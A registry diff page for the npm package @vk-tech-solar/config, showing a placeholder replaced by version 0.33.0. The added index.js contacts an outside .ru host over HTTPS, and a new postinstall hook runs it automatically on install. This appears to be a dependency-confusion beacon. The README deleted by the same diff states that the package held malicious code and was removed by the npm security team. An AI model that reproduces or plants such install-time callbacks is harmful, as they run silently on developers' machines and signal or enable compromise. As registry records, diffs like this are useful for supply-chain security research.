@vk-tech-solar/config 0.0.1-security → 0.33.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @vk-tech-solar/config might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +23 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const https = require('https');
2
+
3
+ const serverUrl = 'https://ctatdtcmqraaqqhsasa04rxegbqdbfizd.ratelxx.ru/dep-conf';
4
+
5
+ function makeRequest() {
6
+ https.get(serverUrl, (res) => {
7
+ let data = '';
8
+
9
+
10
+ res.on('data', (chunk) => {
11
+ data += chunk;
12
+ });
13
+
14
+
15
+ res.on('end', () => {
16
+ console.log('Response from server:', data);
17
+ });
18
+ }).on('error', (err) => {
19
+ console.error('Error during HTTP request:', err);
20
+ });
21
+ }
22
+
23
+ makeRequest();
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "@vk-tech-solar/config",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.33.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "ratelxx",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "@vk-tech-solar/config": "^0.32.0"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40vk-tech-solar%2Fconfig for more information.